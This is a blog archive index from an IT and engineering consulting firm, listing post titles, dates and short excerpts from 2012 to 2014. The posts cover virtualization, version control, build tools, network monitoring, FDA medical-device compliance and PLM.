  • 3 Real World vSphere Situations to Avoid
    January 8, 2014
    Almost a year ago, I wrote about 10 Pitfalls that Can Impact VMware Performance. I thought I’d revisit this topic, provide some specific situations I've encountered over the past year, and explain what I've learned from them. You may have already taken the advice of my previous article, but...
  • Engineering and IT Professionals: Take a Break!
    December 19, 2013
    It's easy to get caught up the task at hand -- more so if its something you find interesting. But over the years, more and more papers are being published on the hazards of non-stop work, from eye strain to carpal tunnel, there are countless pitfalls to sitting in...
  • What's New in Git
    December 17, 2013
    Call me weird, but for whatever reason I find version control really interesting and a crucial part of your build and release model. Maybe it's because it's saved my bacon a few times so I appreciate what it does, or maybe it's because it lets me see how my...
  • Keep Track of Passwords with Pleasant Solutions
    December 9, 2013
    When involved in IT strategy consulting services, you need a way to keep track of passwords in a safe and accessible manner. There are a number of different options out there ranging from single machine managers to cloud-based services. The one I found to be a great mix of...
  • How To Use ClearCase clearfsimport and Avoid Pitfalls
    December 5, 2013
    This week we will change things up a bit and have a look at an IBM/Rational ClearCase utility used for importing files into ClearCase source control. The utility command, clearfsimport, can be used to import any sort of file from a variety of other source control management (SCM) systems,...
  • Automatic Processing of Content on SolidWorks Workgroup PDM Server
    November 25, 2013
    One of the powerful features of a full enterprise product lifecycle management (PLM) system is being able to post process content uploaded to it. For example, adding a watermark, or changing a revision of a document automatically. The idea behind Solidworks Workgroup PDM Server is for small groups of...
  • Configuring FTP services on a website
    November 18, 2013
    Every administrator runs into the FTP question eventually: Can we get FTP for our site?  Setting up FTP is relatively easy with a few concerns around security. Old FTP sites were prone to security holes and configurations that were difficult. With vsftpd, the host configuration is simple and safe. The...
  • How to install and configure ntop for CentOS/RHEL 6
    November 8, 2013
    In my last blog post, I gave 5 reasons to use ntop (Network TOP) to monitor your company's network. The tool is actually very straightforward to install and configure for infrastructure management, but there are a few steps you'll need to do before you're monitoring your network. I highly recommend...
  • Agile Development in Regulated Environments - Part 1: Yes, it can work
    November 1, 2013
    The value system and practices that embody Agile Software Development have been around for well over a decade, and have been touted as having "crossed the chasm" by organizations such as the Agile Alliance, Gartner, and Forrester Research. Numerous studies indicate that -- when implemented properly -- it can...
  • A Quick Start Guide to Installing Ceph
    October 28, 2013
    This seems to be the age of “Big Data”. Every sector seems to have a need for it -- from biotechs doing genome sequencing, to financial providers mining market data. For many, the ability to store massive amounts of structured or unstructured data is the key to success, and...
  • Declutter your multi-computer desktop with 'Mouse without Borders'
    October 14, 2013
    For the everyday user with a laptop or desktop, this article may not apply. And for those of you who have no need to have more than one PC on your desk -- kudos! But from time to time, its necessary to have several PC's on your desk at...
  • Streamline Business Communication with Google Forms
    October 8, 2013
    Have you ever sent out an email with a bunch of important questions and received a reply that began with "my answers are in blue".  Have you then found yourself combing through your large email searching for those answers only to discover that your email provider reverted all the...
  • DIACAP Testing with Retina Network Scanner
    September 30, 2013
    Recently I took over DIACAP testing on a few machines. The task of starting DIACAP testing may seem overwhelming when presented with the number of tests and findings you will need to complete. Thankfully, there have been some automated tools released to help aid the process and reduce the...
  • How To Upgrade the Feature Level in IBM Rational ClearQuest
    September 24, 2013
    Sometimes finding the information you want for IBM Rational ClearQuest can be a challenge -- and when you find something, it can be that the level of detail needed is not present. That's why we at SPK and Associates started this series of technical how to guides to share,...
  • Troubleshooting PTC Creo Elements Pro/Engineer Performance Using Procmon.exe
    September 16, 2013
    Everyone knows that troubleshooting “slow performance” is one of the most challenging tasks we have as IT services providers, but is also one of the best ways to improve productivity (and morale!). Although replacing hardware and buying more expensive computers can help resolve the issue, there are ways to...
  • Web Proxy Server Uses
    September 9, 2013
    With websites, it's important to have a consistent method to gate keep incoming connections. This is primarily to maintain security and ensure a common access point for all traffic. Web proxy servers allow channeling of traffic and proxy content from internal servers without exposing these servers to external customers...
  • 5 Reasons to Use ntop for Network Management
    September 3, 2013
    One of the most critical aspects of your network infrastructure is how well it's performing. The question that I often get asked as a provider of infrastructure services is, "Am I getting the most out of my local network and my internet bandwidth?" This is the one question that...
  • Medical Device Interoperability: A $30B opportunity?
    August 28, 2013
    Greater medical device interoperability and the adoption of commonly accepted standards could save the US in excess of $30B, suggests a West Health Institute report published in March. Lack of device interoperability creates significant waste and risk to patient safety because of incomplete or stale information clinicians must rely on for...
  • Tackling Email Archiving Regulations
    August 20, 2013
    Whether or not your in a heavily regulated industry, having a solid email archiving solution is an absolute necessity. Email’s importance in the workplace for the past decade-and-a-half is similar to the need of having a dial tone in years past. In addition, email is the primary file sharing...
  • Keeping your Ego in check to Maximize your Toolbox.
    August 6, 2013
    I don't usually read autobiographies, but recently a close friend of mine suggested that I read "Surely you're joking, Mr. Feynman!" Being bored with the book I was currently reading, I decided to give it a go. In it there is a chapter title "A Different Box of Tools."...
  • 5 Reasons Why Code Refactoring is Essential
    July 31, 2013
    Lately, I've been refactoring some code for a software engineering project completed earlier this year and for which additional work is expected. As a result, I've come to the conclusion that doing occasional refactoring is an absolute must for any programmer. I believe in always trying to do your best...
  • PLM in the Cloud: Computer System Validation in FDA Regulated Industries
    July 29, 2013
    Product lifecycle management (PLM) systems have evolved from being custom-built, on-premise applications to cloud-based, off-the-shelf solutions. As adoption for PLM in the cloud increases, system validation approaches in FDA/GXP regulated industries have had to adapt as well. The FDA and Computer System Validation Computer system validation is mandated by the Quality System regulation...
  • 3 Must-Have Mods for Windows 8
    July 23, 2013
    New software may not be something you want to use or look at, but if you are in the IT services field, it is necessary. Windows 8 has been a controversial release with many people refusing to upgrade and use it, stating that it is a mistake by Microsoft. Despite...
  • ROHS 2 for Medical Devices: Are You Ready?
    July 18, 2013
    As of July 22, 2014, the RoHS (Restriction of Hazardous Substances) Directive must be observed for first time distribution of all medical devices to the full extent. Furthermore, all products with a CE marking must also be RoHS-compliant. ROHS 2 Compliance Changes at a Glance While no new substances have been...
  • Automatically Scraping Webpages using Python 2.7
    July 17, 2013
    In today’s Internet, it takes specific skills to efficiently find the “Data You Want” inside of the “Data You’re Given”. I was reminded of this the other day watching a colleague struggle through data collection, clicking buttons and getting diverted by advertisements that look like more buttons. If you want...
  • Configuring a Build Job Using Hudson
    July 16, 2013
    Last time we had a look at how to acquire and install Hudson, a continuous build and integration system beneficial to software engineering. This week we take a look at how to create and run a job using Hudson, and then look at the job output. Hudson can run a...
  • The FDA UDI Rule: 5 Things You Need to Know
    July 15, 2013
    The release of the FDA final rule on Unique Device Identification (UDI) is expected this summer. Here are five things you need to know: 1. What is the UDI Rule? In July 2012, the FDA proposed a rule requiring medical device manufacturers to label their products with unique device identifiers (UDIs). The final rule is under Office...
  • FDA Form 483: Top Ten Observations for Medical Devices
    July 10, 2013
    Medical Device manufacturers regulated by the FDA are subject to cGMP (Current Good Manufacturing Practice) regulations and may be inspected by the FDA to ensure compliance. If the FDA inspector(s) observes conditions that in their judgment may constitute violations, they will issue a Form 483 to the firm management at...
  • Tortoise for Windows -- a Better Software Management Option
    July 8, 2013
    As part of our software engineering services, I work with a lot of developers taking finished websites and deploying them. When the developer codes, he or she uses what's comfortable to them or what works best with their department. After a number of times trying to learn commands on a...
  • Integrating Medical Device Product Development with the Quality Management System
    July 3, 2013
    A critical business challenge for medical device manufacturers as they scale is getting products to market quickly while supporting existing products and meeting FDA Quality System Regulation (21-CFR-820) requirements. To achieve this effectively, Product Development must be integrated with a Quality Management System. Let’s look at a typical business scenario: Consider...
  • Continuous Integration in 8 Easy Steps with Buildbot
    July 1, 2013
    Several weeks ago, Ron provided some great insight regarding how to install the Hudson continuous integration tool on Windows. This week, I'll be discussing a different tool: Buildbot. My initial exposure to continuous integration tools in general was only a few years ago, when one of our customers had requested...
  • 5 Reasons Why You Should Convert a Physical Machine to a Virtual Machine
    June 26, 2013
    It's common knowledge that virtual infrastructure and virtual computing is becoming the standard rather than the exception. The pros of virtual computing far outweigh the cons, and as a result, more and more physical machines are being turned into virtual machines. In this post, we discuss 5 reasons why you...
  • 6 Reasons Screen Recordings Streamline Collaborative Development Processes
    June 24, 2013
    Collaborating on an engineering project with team members separated by many miles and multiple time zones can be challenging at times. Telephones, emails, screenshots and online virtual meetings all help but also have their shortcomings. In many ways, screen recording software can make up for these shortcomings but, unfortunately,...
  • How to Avoid Workarounds and Tackle the Larger Problem
    June 21, 2013
    One of the benefits of being an employee at a small IT and engineering consulting firm is that I get the benefits of a small organization combined with the resources of a the large organization I am assigned to. I don’t have to deal with much bureaucracy to get...
  • The IT Guy's Backpack
    June 20, 2013
    I hate being unprepared. When I was in high school, I had a locker. I even had one of those clever plastic shelves and a magnetic mirror. You know what I stored in there? Nothing -- I spent far too much time watching MacGuyver. So I carried around all...
  • The Convergence of ALM and PLM in the Technology Industry
    June 20, 2013
    As more and more technology is embedded into products, and software continues its role as the primary driver for product innovation, the domains of application lifecycle management (ALM) and product lifecycle management (PLM) are being placed on an inevitable collision course. The two management methodologies originate from different wellsprings, but have grown together...
  • Calling the Experts to Manage Your IT Network Infrastructure
    June 17, 2013
    An often overlooked part of IT network infrastructure management is network security. The majority of business networks, even for small businesses, have a large variety of heterogeneous devices that are working together to provide the services for the various departments including product development and product lifecycle management (PLM). This diverse...
  • How to Deal with Single Points of Failure: People
    June 13, 2013
    There are things in every system that if they fail will cause the entire system to be crippled. These single points of failure can be hardware based, software based or even people based. If a problem occurs in these sensitive areas then an entire business can grind to a...
  • Adapting Application Lifecycle Management to DevOps
    June 3, 2013
    Does the new trend towards DevOps threaten the integrity of Application Lifecycle Management (ALM)? The very nature of DevOps, which bridges the gap between development and operations through increased communication and continuous development cycles, would at first glance appear to present compatibility issues with ALM. Organizations employing DevOps develop...
  • How to Deal with Single Points of Failure: Software
    May 28, 2013
    In our series looking at false economies that place your business at risk, we have considered the dangers of leaving system administration and maintenance to engineers and looked at the single point of failure risks associated with hardware. But hardware isn't the only possible single point of failure. There are several...
  • How Engineering Downtime can Cripple a Company
    May 21, 2013
    It is understandable and smart that companies try to gain cost savings wherever possible while continuing to be profitable and innovative. However, some so-called savings can actually cost more, even when considered over a short or medium term time period. Engineering tools and networks are essential for product designers, hardware...
  • How to Install the Hudson Continuous Integration Tool on Windows
    May 14, 2013
    This week we are going to begin taking a look at Hudson, a widely used continuous build and integration tool. Hudson is a state of the art continuous build tool which now has seen wide adoption for software engineering. Hudson supports most of the more prominent source control management...
  • Automating Every Window Application with Macros
    May 10, 2013
    It’s pretty awful to have repetitive tasks occupy the majority of our days. Our team always employs methods of decreasing “boring” overhead; often, this is done through Application implementations and Process Workflow changes. When there’s no other way, you can automate your Windows-driven applications using Jitbit Macro Recorder. Feel free to...
  • How to Migrate a Site using MODX Content Management System
    April 29, 2013
    When copying a site from one host to another, you may want to change user, password, database, directory structure or URL -- and when deploying website, you may occasionally run into a new content manager that you need to understand enough to move the site to a new URL...
  • How to Clone from a Large Hard Disk to a Smaller Hard Disk
    April 17, 2013
    Most of the time that I'm asked to do a clone of a computer, it's usually restoring an image onto a brand new computer which saves me hours of setup work and configuration. In fact, my very first blog talked about how I deploy user workstations using Clonezilla. There are...
  • How to Deal with Single Points of Failure: Hardware
    April 9, 2013
    Continuing our series on why economizing in the wrong areas can leave your business at risk, it is time to start considering single points of failure. A single point of failure is a part of your IT and development system, be it human, software, hardware or administration, that if...
  • Five Techniques to Resist Hiring Temptation
    March 26, 2013
    Here we go again; the economy is recovering and competition is heating up for your crucial technical staff. As you interview candidates there will be temptation to hire someone who may not seem “quite right”. In normal times you wouldn't hire such a person...but darn it, you’re getting desperate to fill...
  • 6 Tips for Designing an Effective Data Entry GUI
    March 25, 2013
    There is a subtle art to creating an appealing, well-structured data entry graphical user interface (GUI). Due to the repetitive interaction users have with data entry GUIs, small things like choice of colors and the size of margins can have actual consequences towards how the application is perceived and...
  • Why Leaving Systems and Application Management to Engineers Can Cause Trouble
    March 20, 2013
    How Economizing can Hurt your Business There is a saying in some parts, “I am too poor to buy cheaply.” At first it sounds contradictory, but anyone who has bought something cheaply (electrical goods, car parts, computer equipment or any kind of service) and then discovered that it broke quickly...
  • 9 Ways To Repurpose an Underperforming Laptop
    March 18, 2013
    In a recent post, I discussed how to resolve 3 common (yet significant) issues with a broken laptop. Chances are, even if the issue is fixed, your computer may not run as well as it used to. But all hope is not lost. Say for instance you have an old...
  • How to Resolve 3 Common Laptop Issues
    March 13, 2013
    For many of us, having old hardware laying around means clutter for the desk or maybe an investment that you're not quite ready to dispose of. Maybe you have a laptop that a child stepped on or was damaged when you "accidentally" dropped it. Whatever the reason, old hardware...
  • 6 Reasons to Use VMWare Workstation for Prototyping and Testing
    March 8, 2013
    Why would the average engineer want to create and use a virtual machine on their laptop or workstation? After all, usually an engineer has a perfectly good machine to work with, right? That may be true. Perhaps the engineer may even have access to more than one machine. But...
  • How does the Windows Phone 8 Kool-Aid Taste?
    March 5, 2013
    I’m just going to come out and say it: I drank the Windows Phone 8 Kool-Aid. My coworkers mock me, and I accept this. But darn it, I want to believe! (and it tastes a lot better than what I was drinking before.) And it's certainly better than if I...
  • Where Does ALM fit into the World of PLM?
    February 25, 2013
    Historically, Product Lifecycle Management (PLM) has its roots in mechanical and electrical engineering, specifically the automotive industry. Its use was pioneered to manage a product (for instance, a car) from inception and on through computer-aided design (CAD), manufacturing, and finally into the maintenance stage. While PLM was being fine-tuned, the...
  • Speed up your Website with Limelight
    February 21, 2013
    Today’s clients are global -- and today’s content is rich. Without adapting to the use of modern tools, dynamic content can slow down the performance of your website, frustrating your potential customers. The problems of hosting international sites are well known: High Latency Low throughput Non-optimal routing Cloud computing is one possibility…but not the...
  • Netlist Flows between Mentor Graphics and Cadence Applications
    February 19, 2013
    Looking for a way to jump between applications? Here’s the first of many workflows I use for going between applications. I’ll continue this series with DxDesigner -> Allegro PCB Editor next week. DxDesigner -> PADS Layout Open your project. In this case, I’m using one of the Sample projects included with PADS...
  • PLM: Automate your Product Development Compliance Process
    February 14, 2013
    Developing new and innovative products is essential for companies to survive and thrive -- however safety can never take a backseat to innovation. That is why many companies, like those in the Medical Devices, Aeronautics and Automotive industries, have strict internal quality assurance systems. Externally, the companies also need...
  • 5 Tools You Can Use to Eliminate Malware From Your Machine
    February 6, 2013
    One of the more common requests I receive from users is that their computer is running slowly, or even worse, they're getting a popup saying that their machine is infected with a virus and Extreme AntiVirus 2013 can remove that virus for the low low cost of $39.95! The...
  • How PLM Enables Innovation Without Risking Compliance
    January 25, 2013
    As technology has advanced, it's become more complex -- and with complexity comes the issue of tracking and monitoring the different processes and their corresponding data. In non-critical applications, the extent of this reporting is often minimal. However, in industries such as the medical device or the aeronautic industry, collating...
  • 10 Pitfalls That Can Impact VMWare Performance
    January 22, 2013
    Ensuring servers provide consistent performance is a primary goal for all infrastructure management services . A large portion of our servers are in a virtualized environment, and the additional complexity involved there can present some challenging performance issues. The common solution of throwing faster CPUs and more RAM...
  • Are you Paying too much for your Application Licenses?
    January 18, 2013
    Unfortunately, it is all too common for companies to overspend on their software licensing. It can be easily done, especially if licensing is handled in an ad-hoc or de-centralized manner. A license is need by one part of the business and so a bundle of licenses is bought. In...
  • Gain Greater Insight into Storage Device Operation with HD Tune
    January 15, 2013
    This week we have a look at HD Tune, which analyzes and benchmarks storage devices.  HD Tune can be used on either hard disk drives (HDD) or solid state drives (SSD), which allows for comparisons between these different types of devices.  Here are some useful features that HD Tune...
  • 7 Ways to Fight Feature Creep
    January 10, 2013
    I was recently involved in a project in which the goal was to streamline and automate a manual software deployment process using Electric Cloud's product ElectricCommander. The Scope of Work was laid out, development was underway, and my coworker and I felt very confident that the UI we were...
  • Dropbox: Do Everything!
    January 8, 2013
    I will assume that everyone reading this is familiar with Dropbox -- my favorite program ever -- but I would like to highlight some newer features and espouse the virtues of this program in case anyone is still living in 2007. Dropbox acts as a shared folder between every device you...
  • Alternative Ways to Deploy Web Services Other Than the Cloud
    January 2, 2013
    During 2012, the shining star for cloud services has once again been Amazon’s web service (AWS) offering. It success and popularity has made it an almost household name for cloud based web services. However AWS, or any other web services cloud offering, isn't the only way to deploy web services and Enterprise...
  • Is the Cloud the Best for Application Management Services?
    December 26, 2012
    As the push towards the cloud continues, the inertia of its popularity can leave CTOs with the impression that the world is black and white with only two options: in the cloud or not in the cloud. The nuances and diversity of solutions can therefore be lost in the...
  • Top 3 Engineering Outsourcing Trends of 2013 from Industry Experts
    December 19, 2012
    Predictions are hard to make in any area of life, however short term forecasting is not impossible. Ask a meteorologist for the weather in the next twenty-four hours and you will get a fairly accurate prediction. Ask for the outlook over the next 30 days and you will get...
  • Top 5 How-to Posts of 2012
    December 14, 2012
    The need and desire to learn, understand and develop skills in new areas applies equally to all aspects of daily life including the use and mastering of technology. To this end, how-to tutorials continue to be a fantastic tool for passing on key information. How-to blogs posts have proved...
  • 5 Reasons You Want Windows 8 Now
    December 12, 2012
    Enjoying Windows 8, yet? I had been running Developer Builds and Consumer Previews for some time; I was super excited when I finally upgraded to the Windows 8 Pro Release build (for a promotional $15, I might add). Despite recently writing a guide on accessing enterprise applications from Windows...
  • Top 3 RedHat related posts of 2012
    December 6, 2012
    Linux continued to perform well as an alternative server platform in 2012 and RedHat has maintained its position as a reliable and trusted Linux distribution. This reliance on Linux based servers is likely to increase during 2013 as more services migrate to the cloud where Linux is a natural...
  • Troubleshoot Common Application & Network Issues with tcpdump
    November 30, 2012
    Here's a common situation:  you manage an application;  you haven't gone through a release; no patches have been applied (to your knowledge); and the infrastructure guys say that they haven't touched the network in ages.  But a user calls, and to your surprise, they're reporting that a certain piece...
  • How To Migrate from PRO/Intralink 3.4 to PRO/Intralink 10 in 5 Simple Steps
    November 28, 2012
    Recently, we performed a successful migration of around 68,000 CAD documents for one of our clients. We went from our old PTC PRO/Intralink 3.4 server to a shiny new PRO/Intralink 10 server with very few disruptions and issues. This may seem like a daunting task and believe me, it...
  • The Cloud and Outsourcing in 2013
    November 26, 2012
    As the push towards the cloud continues, 2013 will see a growing emphasis on cloud-related outsourcing projects. Cloud-related IT expenditure covers a wide range of areas including; Software as a Service (SaaS), cloud compute centers, infrastructure as a service (IaaS) and all the related on-demand technologies. According to the Society...
  • Outsourcing of Vital IT Tasks to Grow in 2013
    November 20, 2012
    In 2013, roughly one third of businesses will increase their IT outsourcing budgets. Chief Information Officers and CEOs, from small businesses to large enterprises, are planning to up their spending on the outsourcing of web/e-commerce platforms, application services, application maintenance and data center operations. This planned increase in outsourcing...
  • Keep Your Developers Developing!
    November 19, 2012
    Software companies often choose to rollout new products by having their developers work directly with beta test customers.  But is this really a good idea? Not really, but let's understand why not, and then consider a couple of best practices if you just have to do it anyway… Developers want to...
  • Accessing Enterprise Applications from Windows 8 RT
    November 2, 2012
    In a recent post, I spent a few minutes with Windows 8 and Office 2013 using a Dell Latitude ST -- and in my excitement over the launch of a new Microsoft tablet, I purchased a Microsoft Surface running Windows 8 RT hoping to see how it performs in an Enterprise environment....
  • How To Ease Your Agile Development Transition with Custom Dashboards and User Interfaces
    October 30, 2012
    At this year's Electric Cloud Summit there was big focus on Agile software development practices. Even a casual look at Electric Cloud's product line, which includes ElectricAccelerator, ElectricCommander, and most recently ElectricDeploy, will make it obvious that the company is firmly committed to the Agile and Continuous Delivery philosophies...
  • Remember Everything with Evernote!
    October 25, 2012
    Evernote has changed my life for the better since I first tried it out a month ago.  I have spent much of my life wishing I could keep a little notebook on me at all times to record odd bits of information that I think I might like to...
  • How to Ramp Up Your New Product Development While Servicing Your Existing Customers
    October 23, 2012
    To succeed in any market, a company needs to innovate, pioneer and push out the borders. The recent one-year anniversary of the death of Steve Jobs reminds of one of the tech industries greatest comeback stories. Apple's key to success, other than the charisma of Jobs himself, was that...
  • Using Recuva to Recover Lost Files on Your Computer
    October 10, 2012
    Ever empty the Recycle Bin on your Windows machine and regret it? Deleted a file that you really needed? These problems have a solution: Recuva. Recuva, a single purpose utility put out by Piriform, can recover files that have been lost in these kinds of situations: Deleted music files on an iPod Deleted...
  • Understanding Continuous Integration
    October 8, 2012
    Continuous Integration (CI) is a software development methodology that uses small and frequent incremental changes to the code base, which are incorporated into a rapid build and test environment. Each change integrated into the source repository is verified by the automated build and test system which helps detect integration...
  • How to Setup rsnapshot and rsync to Make Simple Snapshot Backups
    October 3, 2012
    Most enterprise-grade network storage systems allow you to take "snapshots" of the filesystem stored on it so you can quickly restore a single file or directory...or even restore the entire filesystem to that point in time if need be. So, what do you do if you're a small business and...
  • Does your Outsourcing Company Have the Right Experience?
    October 1, 2012
    Outsourcing IT, technical and engineering related tasks, rather than employing extra staff, is a cost effective way of staying flexible in an ever changing market and economy. However, one big question that needs to be answered is; does your outsourcing company have the right experience? I recall one software engineering...
  • Outsourcing is the Best Way to Stay Flexible, Even Elastic!
    September 27, 2012
    The technology industry loves buzzwords. The decade of the '80s was all about synergy and paradigm shifts. In the '90s, it was the web and the Internet. The turn of the century brought talk about virtualization and social media. Today it's all about the cloud. Of course, each of these...
  • Confluence upgrading to 4.0 from 3.8
    September 24, 2012
    Recently, we upgraded Confluence to 4.0, the latest revision and was pleasantly surprised by the process. The upgrade was seamless, well documented, and no major issues found. Upgrading confluence would have been really simple if we wanted to retain the same server. It’s a simple process: Stop the service Backup MySQL database Backup...
  • Improve your build, test and deployment with ElectricCommander
    September 21, 2012
    Repeatability is a intuitive aspect of daily life. If you throw a ball up, it must come down. If you throw it twenty times, the same thing will happen, up and then down. When repeatability doesn't occur we get anxious. Repeatability is equally an essential quality in software engineering and...
  • ElectricCommander Custom Dashboards: How to Visualize Your Build Data
    September 7, 2012
    Whenever I get a chance to see any kind of motor racing I am amazed at how many displays the engineers use to watch and monitor all the data coming from the cars. Modern performance racing cars produce a lot of data about the engine, tires, fuel consumption, acceleration...
  • Macs in a Corporate IT Environment
    September 7, 2012
    ­Macs running OS X have been around for quite some time, but only recently have they gained enough traction with our customers at SPK to be used as their day to day desktop environment.  Historically, IT organizations have been reluctant to embrace this change.  This reluctance is understandable --...
  • Seven Attitude Hacks for Better IT Service
    August 27, 2012
    Attitudes are important things -- they are the lens through which we filter everything life throws at us, and they can either be the secret to our success or our undoing. We've all heard the stereotype that says IT professionals have bad attitudes, and maybe your own experience confirms...
  • Why an Automated Development Process Benefits Developers
    August 23, 2012
    Automated development, rather than just automated builds, offers a more holistic approach to automating the development process including building, testing and deployment. It is the cornerstone of Continuous Integration (CI). CI uses a model of small incremental changes to the code base, which are incorporated into a rapid build and...
  • How to Create a Silent Installer for ANSYS 14
    August 20, 2012
    I'm a huge fan of automation, especially when it comes to installing software. With a simple one-click solution, you can setup software on a user's workstation with little or no impact on your work load. In fact, you don't even need to do the installation -- users can install the...
  • To SSD or not to SSD
    August 16, 2012
    What is an SSD? The term SSD (Solid State Drive), can refer to any drive that uses solid state components to store information, or more to the point - has no moving parts.  When we hear terms like 'Flash Drive' or 'Thumb Drive', we typically don't think SSD, but technically...
  • A Brief History of Automated Builds
    August 3, 2012
    Almost every programming book starts with an example of a small program which can be compiled from the command line using a simple call to the compiler with maybe a few flags. Known as “Hello World”, the few lines of code needed to output the text is almost universal. What...
  • Upgrade to HWMonitor Pro and Make Your Computer's Sensors Work For You!
    August 2, 2012
    Some time ago, I wrote an article about CPUID’s wonderful tool, HWMonitor.  Today I want to follow up on that and give a few tips on how to make it more useful.  Firstly, HWMonitor is a free tool, but CPUID publishes a Professional version of the product, predictably named...
  • How to Install Snort on a Redhat 6 Box
    July 30, 2012
    Snort is used for performing security checks on network boundaries. This can be done on the outside Untrust network but is sometimes more useful to look at what’s getting through your firewall into the web servers. Follow our step-by-step instructions on how to install Snort 2.7.0 on a Redhat 6 box.
  • 5 Minutes with Windows 8 and Office 2013
    July 26, 2012
    Dell Latitude ST This is the Dell Latitude ST, which can be had from the Dell Outlet store for about $300. It’s a 10-inch tablet slate running an Atom Z670 and 2GB of RAM – like a Netbook without a keyboard. Instead, it has an N-trig digitizer that supports both...
  • Do you Think an Engineering Employee is Really Cheaper Than a Consultant? … Think Again.
    July 24, 2012
    Occasionally I’ll get a comment from a potential client who is particularly price sensitive about the rates for our consultants, and the comment usually goes something like: “I can hire a full-time employee who would cost me a lot less than what you are going to charge me for...
  • Avoid Budget Overruns and Unhappy Customers with Better QA and Testing
    July 16, 2012
    Any project can be divided into different parts including requirements gathering, design, implementation, documentation and so on. One key aspect of the project lifecycle is quality assurance (QA), but it's often overlooked. Although almost all project managers acknowledge the need for quality assurance and testing, they sometimes just give it...
  • Leveraging PTC's Integrity Platform for IEC 62304 Compliance
    July 1, 2012
    SPK and Associates leverage PTC's Integrity platform to help Medical Device companies develop software efficiently while achieving IEC 62304 compliance.
  • Using SSH to Securely Tunnel a TCP Application
    June 28, 2012
    Often times, I'm caught in a situation where an application or service is not directly accessible to me from the network I'm currently on.  For instance, if I'm at a customer site, I may need VNC or RDP access to a collocated server.  Sure, I could open up port...
  • The Project Management Skills Gap
    June 25, 2012
    When it comes to product innovation and project development, the role of the project manager cannot be underestimated. That's why it's important to take an objective look at the skills and resources available in your organization and determine if a skills gap exists in your project management team. Traditionally there are...
  • Avoid Fatal Product Design Flaws with QA
    June 13, 2012
    The difference between quality assurance (QA) and testing is often misunderstood. In fact, the terms are frequently used interchangeably. However, testing is actually just one part of QA. Quality assurance, on the other hand, covers a larger, more holistic part of the development process. Product flaws are not always a...
  • Deploying IPv6 on a Cisco IOS router with a Tunnel Broker
    June 11, 2012
    The time has finally come! Just a few days ago, major internet companies participated in IPv6 Launch Day – meaning from this point forward, they will be running their production systems and making their services available to you via the IPv6 in addition to IPv4. Amongst this good news,...
  • LinkedIn Password Database Leaked!
    June 6, 2012
    LinkedIn, the social network for professionals, has reported that its user database has been hacked and the encrypted passwords of 6+ million users have been stolen. Even though the password database was encrypted, users with weak passwords could be exposed with brute-force hacking attempts. It is recommended that all...
  • A Six Step Setup Process for Incorporating CSS and jQuery into Your Electric Commander Plugin
    June 5, 2012
    Let's suppose you've been tasked with developing a custom dashboard for your Electric Commander installation to show off some real-time stats about your software development process. If you read my previous article about displaying Commander metrics in a GWT dashboard, this shouldn't be a big deal to you. But...
  • How a Disaster Turned out to be an Opportunity
    May 25, 2012
    This post started out as a discussion of how Clonezilla made my life easy and Acronis made my life hard, but it quickly morphed into something different and more personal. Hopefully someone can take away from this that disasters can be quite bad when they happen, but they...
  • Gain Greater Control Over Windows Disk Defragmentation with Defraggler
    May 21, 2012
    This week we have a look at an alternative to Windows Disk Defragmenter. Piriform has a number of Windows utility offerings, among which is Defraggler. Defraggler has the following capabilities, a number of which are not available with the Windows default utility. 1. Analyze a drive, or at a...
  • How-to: Android 4.0 (Ice Cream Sandwich) using VMware Player
    May 14, 2012
    Are you still waiting for Verizon to make the newest Android OS available on your Droid RAZR MAXX? In the mean time, follow the instructions below for a way to preview what the newest Android OS looks like – you’re probably not missing as much as you think! Download and...
  • Outsource Your System Administration to Set Your Engineers Free
    May 9, 2012
    The inquisitive nature of engineers, which makes them so good at designing, developing and building products, can also lead them to become distracted by other “interesting things” like managing the very systems and tools that allow them to do their engineering. Engineers need the right computers (including PCs, servers and...
  • Setting up Web metrics with Webalizer
    May 4, 2012
    When managing websites, it's important to have metrics on the site for both admin and content owners. One of the easiest ways to do this is Webalizer. It is a free tool that uses the Apache access log to provide a graphical presentation of usage. Attached...
  • How to add more disk space to your Redhat server without reformatting
    April 27, 2012
    One of the common tasks for any system administrator is managing disk space on a server. It doesn't matter what operating system the server is running, free disk space is always something you keep an eye on. I won't go into a boring lecture on why managing disk space...
  • SDLC Basics: The Vision Statement
    April 16, 2012
    In the Beginning In the beginning, there was an idea. The idea took shape and became a project. The project became an application and the application got used. Or maybe it didn't get used. Maybe it was completely the wrong application for the business. Or maybe it was the right application,...
  • Creating a Custom Nagios Plugin
    April 13, 2012
    Nagios is an invaluable tool to help monitor a customer's infrastructure.  Last year, I explained how easy it was to be able to integrate Network Appliance health checks.  In fact, Nagios provides a plethora of out of the box plugins.  Additional plugins are available via the Nagios Exchange site. ...
  • Incorporating Accessibility Into Your Software Engineering Projects
    April 13, 2012
    Are you missing out on reaching 25% of the US population with your current software engineering project? Maybe the elderly, at 13% of the population, aren't part of your target market, or maybe it's the 12% of the US population who are disabled that you aren't reaching. Many people will...
  • In Celebration of IPv6
    April 9, 2012
    On June 8th of last year, an event known as World IPv6 Day was celebrated. Well, “celebrated” might carry a little too much emphasis – perhaps instead, World IPv6 Day was observed. And what did you do to celebrate this observance of the future? Well, if you are like...
  • Using Speccy to Understand What’s Inside Your Computer
    April 6, 2012
    This week we’d like to cover a tool that assists with understanding what is actually in that desktop or laptop you work with. Most of us know in lesser or greater detail that there is a CPU, some random access memory (RAM) a hard disk drive (HDD), various peripherals...
  • How to Obtain Electric Commander Metrics for Use in a GWT Plugin
    March 30, 2012
    Developed by Electric Cloud, Electric Commander is an extremely versatile tool for enhancing and automating your organization’s software development build-test-deploy cycle. Commander makes it possible to eliminate unnecessary lag time between phases of the development process, such as hand-offs between your development team and QA, but almost more importantly, it...
  • Get Insight Into Your Misbehaving Laptop With Three Free Tools
    March 22, 2012
    Get insight into your laptop’s status and taking some precautions with CPUID’s Hardware Monitor and CPU-Z and Belarc Advisor It happens to most laptops eventually.  After two or more years of heavy (ab)use, most of our laptops are not in the condition they were originally.  The battery just doesn’t seem...
  • 3-Step Fix for your rr.nu Wordpress Virus Outbreak
    March 9, 2012
